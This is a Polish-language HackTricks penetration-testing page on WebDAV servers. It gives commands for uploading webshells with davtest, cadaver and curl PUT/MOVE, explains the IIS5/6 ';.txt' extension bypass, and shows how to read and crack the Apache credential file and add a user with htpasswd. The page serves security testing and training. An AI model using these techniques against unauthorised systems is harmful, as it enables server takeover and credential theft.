WebDav
Reading time: 4 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Kiedy mamy do czynienia z serwerem HTTP z włączonym WebDav, możliwe jest manipulowanie plikami, jeśli posiadasz odpowiednie poświadczenia, zazwyczaj weryfikowane przez HTTP Basic Authentication. Uzyskanie kontroli nad takim serwerem często wiąże się z przesyłaniem i uruchamianiem webshella.
Dostęp do serwera WebDav zazwyczaj wymaga ważnych poświadczeń, a bruteforce WebDav jest powszechną metodą ich zdobycia.
Aby obejść ograniczenia dotyczące przesyłania plików, szczególnie te uniemożliwiające wykonywanie skryptów po stronie serwera, możesz:
- Przesłać pliki z wykonywalnymi rozszerzeniami bezpośrednio, jeśli nie są ograniczone.
- Zmień nazwę przesłanych plików niewykonywalnych (np. .txt) na rozszerzenie wykonywalne.
- Skopiować przesłane pliki niewykonywalne, zmieniając ich rozszerzenie na takie, które jest wykonywalne.
DavTest
Davtest próbuje przesłać kilka plików z różnymi rozszerzeniami i sprawdza, czy rozszerzenie jest wykonywane:
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
To nie oznacza, że rozszerzenia .txt i .html są wykonywane. To oznacza, że możesz uzyskać dostęp do tych plików przez sieć.
Cadaver
Możesz użyć tego narzędzia, aby połączyć się z serwerem WebDav i wykonać akcje (takie jak przesyłanie, przenoszenie lub usuwanie) ręcznie.
cadaver <IP>
Żądanie PUT
curl -T 'shell.txt' 'http://$ip'
Żądanie MOVE
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
IIS5/6 WebDav Vulnerability
Ta luka jest bardzo interesująca. WebDav nie pozwala na przesyłanie lub zmienianie nazw plików z rozszerzeniem .asp. Ale możesz obejść to dodając na końcu nazwy ";.txt" i plik będzie wykonywany tak, jakby był plikiem .asp (możesz również użyć ".html" zamiast ".txt", ale NIE zapomnij o ";").
Następnie możesz przesłać swój shell jako plik ".txt" i skopiować/przenieść go do pliku ".asp;.txt". Uzyskując dostęp do tego pliku przez serwer WWW, zostanie on wykonany (cadaver powie, że akcja przeniesienia się nie powiodła, ale tak się stało).
Post credentials
Jeśli Webdav używał serwera Apache, powinieneś spojrzeć na skonfigurowane witryny w Apache. Zwykle:
_/etc/apache2/sites-enabled/000-default_
Wewnątrz możesz znaleźć coś takiego:
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
Jak widać, są pliki z ważnymi credentials dla serwera webdav:
/etc/apache2/users.password
Wewnątrz tego typu plików znajdziesz nazwa użytkownika oraz hash hasła. To są dane uwierzytelniające, które serwer webdav używa do autoryzacji użytkowników.
Możesz spróbować je złamać, lub dodać więcej, jeśli z jakiegoś powodu chcesz uzyskać dostęp do serwera webdav:
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
Aby sprawdzić, czy nowe dane logowania działają, możesz zrobić:
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
Odniesienia
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.